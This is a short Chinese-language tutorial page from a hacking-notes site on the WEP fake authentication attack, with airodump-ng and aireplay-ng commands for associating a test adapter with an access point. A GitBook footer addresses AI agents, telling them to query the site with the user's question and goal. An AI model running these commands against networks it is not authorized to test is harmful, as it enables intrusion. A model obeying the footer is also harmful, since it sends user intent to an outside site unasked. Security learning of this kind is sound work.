> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-wifi/wep-networks/fake-authentication-attack.md).
# 伪造身份验证攻击
将测试适配器与授权的 WEP 接入点关联。
伪造认证在授权的 WEP 网络没有连接客户端时很有用。它可以让测试网卡看起来已与接入点关联。
{% hint style="warning" %}
此技术适用于旧式 WEP 网络。它不会使客户端通过 WPA 或 WPA2 PSK 网络的认证。
{% endhint %}
### 抓取目标网络
在授权网络信道上开始抓包：
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid WIFI wlan0mon
```
{% endcode %}
### 对测试网卡进行认证
使用 `-h` 以指定测试网卡的 MAC 地址。以下命令会持续发送认证帧。
{% code overflow="wrap" %}
```bash
aireplay-ng -1 0 -e WIFI -a 70:4F:57:CA:D9:73 -h 00:C0:CA:BD:08:90 wlan0mon
```
{% endcode %}
接入点现在可以将指定的网卡视为已关联的客户端。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/hacking-wifi/wep-networks/fake-authentication-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
